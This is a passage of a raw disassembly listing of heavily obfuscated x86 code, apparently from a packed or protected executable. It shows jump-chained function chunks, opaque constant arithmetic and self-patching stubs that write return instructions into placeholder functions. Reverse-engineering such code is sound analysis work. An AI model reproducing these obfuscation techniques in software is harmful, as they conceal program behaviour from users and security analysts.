; FUNCTION CHUNK AT 0043F957 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004409C3 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 004450AD SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0044732D SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004473F4 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 00449ACB SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044D140 SIZE 00000015 BYTES

		xchg	eax, [esp+0Ch+var_C]
		mov	edx, eax
		pop	eax
		jmp	loc_4473F4
sub_44C59C	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44485F

loc_44C5A7:				; CODE XREF: sub_44485F+8CB4j
		jns	loc_442321
		cmp	esi, ecx
		jmp	loc_443515
; END OF FUNCTION CHUNK	FOR sub_44485F
; ---------------------------------------------------------------------------

loc_44C5B4:				; CODE XREF: y22d6.y.:loc_444800j
		jz	loc_44125C
		jmp	loc_44A009
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44057E

loc_44C5BF:				; CODE XREF: sub_44057E:loc_43F3D3j
		or	ebx, eax
		rol	ebp, 12h
		cmp	eax, esi
		jmp	loc_443100
; END OF FUNCTION CHUNK	FOR sub_44057E
; ---------------------------------------------------------------------------
		pop	edx
		jmp	sub_449307
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_442DB9

loc_44C5D1:				; CODE XREF: sub_442DB9+9j
		push	offset sub_44C02C
		jmp	nullsub_375
; END OF FUNCTION CHUNK	FOR sub_442DB9
; ---------------------------------------------------------------------------

loc_44C5DB:				; DATA XREF: sub_448EB6+1FDo
		mov	ds:dword_41E124, eax
		lea	eax, nullsub_343
		call	sub_4411EF
; START	OF FUNCTION CHUNK FOR sub_447663

loc_44C5EC:				; CODE XREF: sub_447663+16j
		jmp	loc_437A77
; END OF FUNCTION CHUNK	FOR sub_447663
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_349. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43B7D4

loc_44C5F2:				; CODE XREF: sub_43B7D4+7j
		jmp	loc_44779F
; END OF FUNCTION CHUNK	FOR sub_43B7D4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43F422

loc_44C5F7:				; CODE XREF: sub_43F422:loc_44E32Fj
		mov	eax, [ebp-8]
		jmp	loc_442E70
; ---------------------------------------------------------------------------

loc_44C5FF:				; CODE XREF: sub_43F422:loc_444FADj
		mov	eax, [ebp-0Ch]

loc_44C602:				; CODE XREF: y22d6.y.:loc_44405Bj
		cmp	byte ptr [eax],	0
		jnz	loc_4472C3
		mov	eax, [ebp-8]
		shl	eax, 3
		jmp	loc_443989
; END OF FUNCTION CHUNK	FOR sub_43F422
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44DB81

loc_44C616:				; CODE XREF: sub_44DB81-852Fj
		pop	esi
		or	ebx, 1BAAE4CAh
		jmp	sub_43B9F3
; END OF FUNCTION CHUNK	FOR sub_44DB81

; =============== S U B	R O U T	I N E =======================================



sub_44C622	proc near		; CODE XREF: y22d6.y.:0043854Cj
					; sub_4432B8:loc_4447AFp
		xchg	eax, [esp+0]
		pop	eax
		mov	ds:dword_41E168, eax
		lea	eax, nullsub_14
		mov	byte ptr [eax],	0C3h
		jmp	loc_44DB7A
sub_44C622	endp ; sp-analysis failed

; ---------------------------------------------------------------------------

loc_44C63A:				; CODE XREF: y22d6.y.:loc_438551j
		mov	eax, [esp]
		push	ebx
		jmp	loc_437C11
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_334. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_449CFC

loc_44C644:				; CODE XREF: sub_449CFC+10j
		jmp	loc_449ABC
; END OF FUNCTION CHUNK	FOR sub_449CFC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439F2D

loc_44C649:				; CODE XREF: sub_439F2D+52E3j
		jmp	loc_446353
; END OF FUNCTION CHUNK	FOR sub_439F2D
; ---------------------------------------------------------------------------
		jmp	loc_44252A
; ---------------------------------------------------------------------------

loc_44C653:				; CODE XREF: y22d6.y.:loc_43B85Cj
		cmp	ebp, eax
		jmp	loc_43D15A
; ---------------------------------------------------------------------------

loc_44C65A:				; CODE XREF: y22d6.y.:loc_43FFB1j
		jz	near ptr dword_437434+32h
; START	OF FUNCTION CHUNK FOR sub_437901

loc_44C660:				; CODE XREF: sub_437901+56j
		jmp	loc_43CCA7
; END OF FUNCTION CHUNK	FOR sub_437901
; ---------------------------------------------------------------------------
		db 99h,	58h, 0E9h
		dd 0FFFFF043h, 0FD81D303h, 0F190C746h, 0FFDEBBE9h
		db 0FFh
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4450FD

loc_44C679:				; CODE XREF: sub_4450FD+8A1Aj
		cmp	ecx, 1FF28F23h
		jmp	loc_43E23C
; END OF FUNCTION CHUNK	FOR sub_4450FD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44439D

loc_44C684:				; CODE XREF: sub_44439D:loc_446170j
		mov	[edx], edi
		jg	loc_445281
		xchg	edx, ebx
		or	ebx, ebp
		jmp	loc_44583E
; END OF FUNCTION CHUNK	FOR sub_44439D
; ---------------------------------------------------------------------------

loc_44C695:				; CODE XREF: y22d6.y.:00443B78j
		push	offset sub_44DCA4
		jmp	loc_43A365
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_440494

loc_44C69F:				; CODE XREF: sub_440494+D7F1j
		xchg	eax, [esp+4+var_4]
		mov	edi, eax
		pop	eax
		lea	eax, nullsub_13
		mov	byte ptr [eax],	0C3h
		jmp	loc_448F25
; END OF FUNCTION CHUNK	FOR sub_440494
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_444183

loc_44C6B3:				; CODE XREF: sub_444183:loc_4430D9j
		jz	loc_44528B
		mov	eax, ds:dword_441950
		mov	eax, [eax]
		mov	ds:dword_441954, eax
		jmp	loc_443500
; END OF FUNCTION CHUNK	FOR sub_444183
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44156E

loc_44C6CA:				; CODE XREF: sub_44156E+6j
		jnz	loc_438BFF
		jmp	loc_4408B2
; END OF FUNCTION CHUNK	FOR sub_44156E
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_165. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------

loc_44C6D6:				; CODE XREF: y22d6.y.:00439AFDj
					; y22d6.y.:loc_449755j
		jmp	loc_44ABDA
; ---------------------------------------------------------------------------

loc_44C6DB:				; CODE XREF: y22d6.y.:004382E3j
		jmp	loc_448E54
; ---------------------------------------------------------------------------

loc_44C6E0:				; DATA XREF: y22d6.y.:00441AD7o
		ror	eax, 12h
		mov	edx, [esp]
		push	eax
		mov	eax, edx
		push	ebx
		push	54CC3CC9h
		jmp	loc_437F5C
; ---------------------------------------------------------------------------

loc_44C6F4:				; CODE XREF: y22d6.y.:loc_43EB8Bj
		sub	ecx, eax
		sbb	edi, ebx
		jmp	loc_44C3C1
; ---------------------------------------------------------------------------

locret_44C6FD:				; CODE XREF: y22d6.y.:00438615j
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43A6E1

loc_44C6FE:				; CODE XREF: sub_43A6E1+ED84j
		jmp	nullsub_254
; END OF FUNCTION CHUNK	FOR sub_43A6E1

; =============== S U B	R O U T	I N E =======================================



sub_44C703	proc near		; DATA XREF: sub_43F4BB+4F96o
		mov	[ebx], edx
		pop	ebx

loc_44C706:				; CODE XREF: sub_4499F4-574Bj
					; sub_4482CF+6j
		xchg	eax, edx
		call	sub_44D293
		retn
sub_44C703	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44A413

loc_44C70D:				; CODE XREF: sub_44A413:loc_4413CFj
		sub	edx, 0F705C23Ch
		xor	edx, 44C907F4h
		add	edx, ebp
		add	edx, 5D9CCADh
		mov	[edx], eax
		pop	edx
		jmp	loc_44CDC8
; END OF FUNCTION CHUNK	FOR sub_44A413
; ---------------------------------------------------------------------------

loc_44C729:				; CODE XREF: y22d6.y.:loc_4439F6j
		sbb	ecx, 8EDD5710h
; START	OF FUNCTION CHUNK FOR sub_43C55B

loc_44C72F:				; CODE XREF: sub_43C55B:loc_445781j
		mov	edx, eax
		jmp	loc_448528
; END OF FUNCTION CHUNK	FOR sub_43C55B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43BEF7

loc_44C736:				; CODE XREF: sub_43BEF7-2CAAj
		mov	ebp, 47FB98D8h
		jmp	loc_44ACFF
; END OF FUNCTION CHUNK	FOR sub_43BEF7
; ---------------------------------------------------------------------------

locret_44C740:				; CODE XREF: y22d6.y.:0043F9C7j
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43B566

loc_44C741:				; CODE XREF: sub_43B566+1187Fj
		jmp	sub_43F7FF
; END OF FUNCTION CHUNK	FOR sub_43B566
; ---------------------------------------------------------------------------
		jz	loc_445185
		jmp	sub_44D64C
; ---------------------------------------------------------------------------

loc_44C751:				; CODE XREF: y22d6.y.:loc_43D08Cj
		pop	ebp
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_442E1F

loc_44C753:				; CODE XREF: sub_442E1F-5FD3j
		jmp	loc_440E64
; END OF FUNCTION CHUNK	FOR sub_442E1F

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_44C758	proc near		; CODE XREF: sub_44825F:loc_43D421p
					; sub_449641-B9CCj ...

var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0043D608 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 004426FD SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00444F6F SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00445877 SIZE 00000021 BYTES
; FUNCTION CHUNK AT 00445BDB SIZE 00000011 BYTES
; FUNCTION CHUNK AT 00446124 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044A1CE SIZE 0000001B BYTES

		push	ebp
		mov	ebp, esp
		push	eax
		jmp	loc_43D608
sub_44C758	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43B7B5

loc_44C761:				; CODE XREF: sub_44E5C7-16D5Dj
					; sub_44E5C7:loc_43DB66j ...
		push	offset sub_43C52A
		jmp	nullsub_213
; END OF FUNCTION CHUNK	FOR sub_43B7B5

; =============== S U B	R O U T	I N E =======================================



sub_44C76B	proc near		; DATA XREF: y22d6.y.:0043C00Bo
		xchg	ebx, [esp+0]
		jmp	nullsub_3
sub_44C76B	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4477E6

loc_44C773:				; CODE XREF: sub_4477E6+19j
		jge	loc_439E96

loc_44C779:				; CODE XREF: sub_4432B8+8681j
		jmp	loc_442476
; END OF FUNCTION CHUNK	FOR sub_4477E6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4432B8

loc_44C77E:				; CODE XREF: sub_4432B8-6B25j
		jmp	loc_43B392
; END OF FUNCTION CHUNK	FOR sub_4432B8
; ---------------------------------------------------------------------------

loc_44C783:				; CODE XREF: y22d6.y.:00439EB9j
		jmp	nullsub_118
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4432B8

loc_44C788:				; CODE XREF: sub_4432B8-AC77j
		jmp	nullsub_214
; END OF FUNCTION CHUNK	FOR sub_4432B8
; ---------------------------------------------------------------------------
		test	ebp, edx
		jmp	loc_44BE48
; ---------------------------------------------------------------------------

loc_44C794:				; DATA XREF: sub_437FD8:loc_43C2EAo
		sub	al, 99h
		mov	edx, [ebp-4]
		imul	byte ptr [edx]
		cmp	al, 0A4h
		jz	loc_447EBA
		jmp	loc_43D5DA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4392B0

loc_44C7A8:				; CODE XREF: sub_4392B0+686Cj
		push	offset loc_44AFE7
		jmp	loc_43BB0F
; END OF FUNCTION CHUNK	FOR sub_4392B0

; =============== S U B	R O U T	I N E =======================================



sub_44C7B2	proc near		; CODE XREF: y22d6.y.:0044A6E0j
					; sub_43B09B+F993p
		xchg	eax, [esp+0]
		pop	eax
		lea	eax, nullsub_10
		mov	byte ptr [eax],	0C3h
		jmp	nullsub_10
sub_44C7B2	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		call	nullsub_354
		jmp	ds:dword_41E050
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44A46F

loc_44C7CF:				; CODE XREF: sub_44A46F+1j
		jmp	loc_43D303
; END OF FUNCTION CHUNK	FOR sub_44A46F
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_354. PRESS KEYPAD	"+" TO EXPAND]
		db 84h,	0DAh, 93h
		dd 79E9FFFFh
		db 2, 2	dup(0FFh)
; ---------------------------------------------------------------------------

loc_44C7DF:				; CODE XREF: y22d6.y.:0044C0EDj
		ror	edi, 12h
		mov	edx, [ecx]

loc_44C7E4:				; CODE XREF: y22d6.y.:loc_439F3Cj
		push	eax
		lea	eax, loc_44DD70
		push	esi
		jmp	loc_4405C5

; =============== S U B	R O U T	I N E =======================================



sub_44C7F1	proc near		; CODE XREF: y22d6.y.:0043F933j
					; y22d6.y.:004430D4p

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 004483C8 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0044B83B SIZE 00000009 BYTES
; FUNCTION CHUNK AT 0044E590 SIZE 00000007 BYTES

		xchg	ebx, [esp+0]
		pop	ebx
		xchg	eax, [esp-4+arg_0]
		nop

loc_44C7F9:				; CODE XREF: y22d6.y.:0044D1A8j
		mov	eax, 2867838Ah
		call	sub_43CA1A
		call	sub_442DFF

loc_44C808:				; CODE XREF: y22d6.y.:0043A6D1j
		jmp	loc_44B83B
sub_44C7F1	endp ; sp-analysis failed

; ---------------------------------------------------------------------------

loc_44C80D:				; CODE XREF: y22d6.y.:00438568j
		rol	esi, 7
		sub	esi, 0A1BC1861h
		rol	esi, 7
		add	esi, 34DA28D6h
		xchg	esi, [esp]
		jmp	sub_44ABC9
; ---------------------------------------------------------------------------
		push	870BBD7Ah
		jmp	loc_43FBEA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439A90

loc_44C831:				; CODE XREF: sub_439A90:loc_44CFCFj
		shl	edx, 1Bh
		sub	ebp, edx
		xor	edx, 0CCFE7EC2h
		jmp	loc_4474BD
; END OF FUNCTION CHUNK	FOR sub_439A90
; ---------------------------------------------------------------------------
		not	ebp
		ja	loc_444AAF
		jmp	sub_43C74D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_441F08

loc_44C84E:				; CODE XREF: sub_441F08:loc_444F65j
		or	eax, 0E5DE0AA8h
		add	eax, 81A222A9h
		add	eax, ebp
		add	eax, 985EB254h
		jmp	loc_43F68D
; END OF FUNCTION CHUNK	FOR sub_441F08
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44B1D2

loc_44C867:				; CODE XREF: sub_44B1D2-4266j
		test	esi, ebp
		jmp	loc_437580
; END OF FUNCTION CHUNK	FOR sub_44B1D2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_438F42

loc_44C86E:				; CODE XREF: sub_438F42:loc_4464ADj
		xor	ebx, 96DD2181h
		add	ebx, 0ED9EEF12h
		call	sub_437F1F
; END OF FUNCTION CHUNK	FOR sub_438F42
; START	OF FUNCTION CHUNK FOR sub_44A5E5

loc_44C87F:				; CODE XREF: sub_44A5E5-BD16j
		jmp	loc_44DF92
; END OF FUNCTION CHUNK	FOR sub_44A5E5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4449FA

loc_44C884:				; CODE XREF: sub_4449FA+Dj
		pop	eax
		mov	eax, [esp-4+arg_0]
		push	edx
		push	eax
		jmp	loc_447423
; END OF FUNCTION CHUNK	FOR sub_4449FA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_440F6A

loc_44C88F:				; CODE XREF: sub_440F6A:loc_440F6Fj
		pop	ebx
		sub	ebx, 934BFC05h
		add	ebx, 669A0D34h
		popf
		call	sub_43FC02

locret_44C8A2:				; CODE XREF: y22d6.y.:004440C3j
		retn
; END OF FUNCTION CHUNK	FOR sub_440F6A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4419CC

loc_44C8A3:				; CODE XREF: sub_4419CC-1C8Aj
		jmp	loc_444F7D
; END OF FUNCTION CHUNK	FOR sub_4419CC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44AEDA

loc_44C8A8:				; CODE XREF: sub_44AEDA-EE33j
		jmp	loc_4475CC
; END OF FUNCTION CHUNK	FOR sub_44AEDA
; ---------------------------------------------------------------------------

loc_44C8AD:				; CODE XREF: y22d6.y.:004412E9j
		push	edi
		push	0E328B977h
		pop	edi
		or	edi, 0A7F81B75h
		jmp	loc_43D90B

; =============== S U B	R O U T	I N E =======================================



sub_44C8BF	proc near		; CODE XREF: sub_449739:loc_4429DCj

; FUNCTION CHUNK AT 00437AF7 SIZE 00000005 BYTES

		add	esp, 0FFFFFFE4h
		mov	[ebp-8], edx
		mov	[ebp-4], eax
		push	offset loc_4437DA
		jmp	loc_437AF7
sub_44C8BF	endp

; ---------------------------------------------------------------------------

loc_44C8D2:				; CODE XREF: y22d6.y.:loc_43D0E9j
		xchg	ebx, [esp]
		mov	edi, ebx
		pop	ebx
		add	edi, 350FE2A8h
		test	edi, 2000h
		jmp	loc_44BB50

; =============== S U B	R O U T	I N E =======================================



sub_44C8E9	proc near		; CODE XREF: y22d6.y.:004418DDj
					; sub_4432B8+6CFAp

; FUNCTION CHUNK AT 0043A3D5 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 00445A2D SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044B9DE SIZE 00000005 BYTES

		xchg	ecx, [esp+0]
		pop	ecx
		push	edx
		push	0BE8F4FA9h
		jmp	loc_44B9DE
sub_44C8E9	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44193A

loc_44C8F8:				; CODE XREF: sub_44193A-60Fj
		xchg	eax, esi
		or	edx, ecx
		jmp	loc_44A8DB
; END OF FUNCTION CHUNK	FOR sub_44193A
; ---------------------------------------------------------------------------
		jnz	loc_44DDFC
		jmp	sub_443C95
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_437B43

loc_44C90C:				; CODE XREF: sub_437B43-417j
		add	ecx, esi
		jmp	loc_439AF8
; END OF FUNCTION CHUNK	FOR sub_437B43
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4477E6

loc_44C913:				; CODE XREF: sub_4477E6-5362j
		sub	al, 99h
		mov	edx, [ebp-4]
		imul	byte ptr [edx]
; END OF FUNCTION CHUNK	FOR sub_4477E6
; START	OF FUNCTION CHUNK FOR sub_448EB6

loc_44C91A:				; CODE XREF: sub_448EB6:loc_449189j
		cmp	al, 0A4h
		jmp	loc_4445B8
; END OF FUNCTION CHUNK	FOR sub_448EB6

; =============== S U B	R O U T	I N E =======================================



sub_44C921	proc near		; DATA XREF: y22d6.y.:0043F9C2o

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00440086 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0044056E SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004488E6 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0044A1E9 SIZE 0000001A BYTES

		push	68E69ECDh
		xchg	edi, [esp+0]
		mov	esi, edi
		pop	edi
		add	esi, ds:4000EAh
		jmp	loc_4488E6
sub_44C921	endp ; sp-analysis failed

; ---------------------------------------------------------------------------

loc_44C937:				; DATA XREF: y22d6.y.:0044831Eo
		js	loc_4479C4
; START	OF FUNCTION CHUNK FOR sub_43B7B5

loc_44C93D:				; CODE XREF: sub_43B7B5:loc_445335j
		sub	al, 99h
		mov	edx, [ebp-4]
		imul	byte ptr [edx]

loc_44C944:				; CODE XREF: sub_44B17B-C262j
		cmp	al, 0A4h
		jz	loc_43B749
		jmp	loc_44CEA2
; END OF FUNCTION CHUNK	FOR sub_43B7B5

; =============== S U B	R O U T	I N E =======================================



sub_44C951	proc near		; DATA XREF: sub_44B3C9-B545o
		xor	eax, 161199Fh
		call	sub_43CA1A
		mov	ds:off_41E13C, eax
		lea	eax, sub_44B3C9
		mov	byte ptr [eax],	0C3h
		jmp	sub_44B3C9
sub_44C951	endp


; =============== S U B	R O U T	I N E =======================================



sub_44C970	proc near		; CODE XREF: sub_40FE64+77p
					; sub_40FF14+52p ...
		call	sub_44C980
		jmp	ds:off_41E140
sub_44C970	endp

; ---------------------------------------------------------------------------

loc_44C97B:				; CODE XREF: y22d6.y.:00444076j
		jmp	loc_440013

; =============== S U B	R O U T	I N E =======================================



sub_44C980	proc near		; CODE XREF: sub_43BA24+9j
					; sub_44E38B:loc_43D48Bj ...

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00437DB8 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00438B4D SIZE 00000013 BYTES
; FUNCTION CHUNK AT 00441518 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00442FE8 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00447D45 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0044AC51 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0044CA07 SIZE 0000001A BYTES
; FUNCTION CHUNK AT 0044D7FF SIZE 00000011 BYTES

		xchg	edi, [esp+0]
		jmp	loc_442FE8
sub_44C980	endp ; sp-analysis failed

; [00000001 BYTES: COLLAPSED FUNCTION nullsub_371. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------

loc_44C989:				; CODE XREF: y22d6.y.:0044014Aj
		jmp	nullsub_351
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_448EB6

loc_44C98E:				; CODE XREF: sub_448EB6:loc_43BC0Cj
		test	edx, 40000h
		jmp	loc_442D55
; END OF FUNCTION CHUNK	FOR sub_448EB6
; ---------------------------------------------------------------------------
		cmp	byte ptr [eax],	2Eh
		jnz	loc_43A34C
		mov	eax, [ebp-20h]
		mov	byte ptr [eax],	64h
		inc	dword ptr [ebp-20h]
		mov	eax, [ebp-20h]
		jmp	loc_44C06F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4480DE

loc_44C9B3:				; CODE XREF: sub_4480DE:loc_44315Ej
		mov	eax, [ebp+var_4]
		inc	eax
		push	offset loc_44C42F
		jmp	nullsub_243
; END OF FUNCTION CHUNK	FOR sub_4480DE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44AA69

loc_44C9C1:				; CODE XREF: sub_44AA69-193j
		cmp	ebx, edi
		jmp	loc_439EE2
; END OF FUNCTION CHUNK	FOR sub_44AA69
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43C6D7

loc_44C9C8:				; CODE XREF: sub_43C6D7:loc_44E258j
		mov	edi, eax
		xchg	edi, [esp+4+var_4]
		lea	eax, sub_43E86C
		push	eax
		push	0
		push	offset loc_439479
		jmp	nullsub_273
; END OF FUNCTION CHUNK	FOR sub_43C6D7
; ---------------------------------------------------------------------------

loc_44C9E0:				; CODE XREF: y22d6.y.:loc_44A78Ej
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43E7BF

loc_44C9E1:				; CODE XREF: sub_43E7BF+96A2j
		jmp	nullsub_225
; END OF FUNCTION CHUNK	FOR sub_43E7BF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_448E18

loc_44C9E6:				; CODE XREF: sub_448E18:loc_4399EFj
					; sub_448EB6:loc_44534Cj
		jmp	nullsub_226
; END OF FUNCTION CHUNK	FOR sub_448E18
; ---------------------------------------------------------------------------
		push	0E5523930h
		pop	eax
		add	eax, 9FC8E9BCh
		xor	eax, 0A5418AF1h
		call	sub_43CA1A
		jmp	loc_43A9A7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44C980

loc_44CA07:				; CODE XREF: sub_44C980:loc_44AC56j
		or	eax, 54D0FA6Ch
		and	eax, 21D11EB1h
		or	eax, 0B28B67FEh
		rol	eax, 15h
		jmp	loc_447D45
; END OF FUNCTION CHUNK	FOR sub_44C980

; =============== S U B	R O U T	I N E =======================================



sub_44CA21	proc near		; DATA XREF: sub_4432B8+1D5o
		add	eax, ebp
		add	eax, 0F466DDEEh
		call	sub_438B39
sub_44CA21	endp ; sp-analysis failed

; START	OF FUNCTION CHUNK FOR sub_44B489

loc_44CA2E:				; CODE XREF: sub_44B489-88A2j
		jmp	loc_43D14F
; END OF FUNCTION CHUNK	FOR sub_44B489
; ---------------------------------------------------------------------------
		ror	eax, 2
		jmp	loc_4433CF
; ---------------------------------------------------------------------------

loc_44CA3B:				; CODE XREF: y22d6.y.:loc_448DF3j
					; y22d6.y.:00448E05j
		add	esi, 75462B6Fh
		xchg	esi, [esp]
		jmp	loc_439F28
; ---------------------------------------------------------------------------

loc_44CA49:				; CODE XREF: y22d6.y.:0043EA9Fj
		xor	esi, 3FB49B00h
		xor	ebx, 72F56FCEh

loc_44CA55:				; CODE XREF: y22d6.y.:loc_438BB4j
		push	eax
		lea	eax, dword_44D0DC
		jmp	loc_445A50
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43FAC6

loc_44CA61:				; CODE XREF: sub_43FAC6+D4B7j
		call	sub_439407

loc_44CA66:				; CODE XREF: y22d6.y.:0044DE63j
		jmp	loc_43977F
; END OF FUNCTION CHUNK	FOR sub_43FAC6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44B120

loc_44CA6B:				; CODE XREF: sub_44B120+1Fj
		jmp	sub_4483BF
; END OF FUNCTION CHUNK	FOR sub_44B120
; ---------------------------------------------------------------------------

loc_44CA70:				; CODE XREF: y22d6.y.:00442015j
		jmp	locret_43C4FC
; ---------------------------------------------------------------------------

loc_44CA75:				; CODE XREF: y22d6.y.:00439CE0j
		jmp	locret_439039
; ---------------------------------------------------------------------------

loc_44CA7A:				; DATA XREF: sub_43DD42-44B9o
		push	eax
		mov	eax, [ebp-8]
		jmp	loc_43BEA5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4480DE

loc_44CA83:				; CODE XREF: sub_4480DE:loc_44C443j
		mov	eax, [ebp+var_4]
		call	sub_438A67
		mov	[ebp+var_8], eax
		cmp	[ebp+var_8], 0
		jmp	loc_43BE95
; END OF FUNCTION CHUNK	FOR sub_4480DE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_446F34

loc_44CA97:				; CODE XREF: sub_446F34:loc_43C2D9j
		test	eax, 400000h
		jmp	loc_44903A
; END OF FUNCTION CHUNK	FOR sub_446F34
; ---------------------------------------------------------------------------

loc_44CAA2:				; CODE XREF: y22d6.y.:00448E5Aj
		jle	loc_44092A

loc_44CAA8:				; CODE XREF: y22d6.y.:loc_4382DDj
		push	edi
		mov	edi, eax
		xchg	edi, [esp]
		lea	eax, loc_43DD07+1
		push	eax
		push	eax
		jmp	loc_442EF5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4432B8

loc_44CABB:				; CODE XREF: sub_44AB7B-8867j
					; sub_4432B8+211j
		add	ecx, 38040A89h
		xchg	ecx, [esp+18h+var_18]
		jmp	sub_43CA1A
; END OF FUNCTION CHUNK	FOR sub_4432B8
; ---------------------------------------------------------------------------
		call	sub_44AC61

loc_44CACE:				; CODE XREF: y22d6.y.:0044B3EDj
		jmp	loc_44A697
; ---------------------------------------------------------------------------

loc_44CAD3:				; CODE XREF: y22d6.y.:0044A85Dj
		jmp	nullsub_12

; =============== S U B	R O U T	I N E =======================================



sub_44CAD8	proc near		; CODE XREF: y22d6.y.:0043CB80j
					; y22d6.y.:loc_44B60Dp

; FUNCTION CHUNK AT 0044A6E5 SIZE 0000000A BYTES

		xchg	esi, [esp+0]
		pop	esi
		call	sub_44CDB7
		mov	eax, 0FFB060E7h
		call	sub_43CA1A
		jmp	loc_44A6E5
sub_44CAD8	endp ; sp-analysis failed

; ---------------------------------------------------------------------------

loc_44CAF0:				; CODE XREF: y22d6.y.:loc_43BB00j
		xchg	eax, edx
		xchg	esi, [ebx]
		ja	loc_447E22
		jmp	loc_44DE4C
; ---------------------------------------------------------------------------

loc_44CAFF:				; CODE XREF: y22d6.y.:loc_443A52j
		test	ecx, 200000h
		jmp	loc_442373
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44243B

loc_44CB0A:				; CODE XREF: sub_44243B+Fj
		pop	edx
		sub	edx, 75FD310Fh
		xor	edx, 1A901Bh
		or	edx, 0C35E4297h
		call	sub_43991F

loc_44CB22:				; CODE XREF: y22d6.y.:0043CA85j
		push	0AFC1D140h
		pop	esi
		xor	esi, 2BEA7FF6h
		cmp	esi, 0A0BD4128h
		jmp	loc_43DCF8
; END OF FUNCTION CHUNK	FOR sub_44243B
; ---------------------------------------------------------------------------

loc_44CB39:				; CODE XREF: y22d6.y.:0044A2A4j
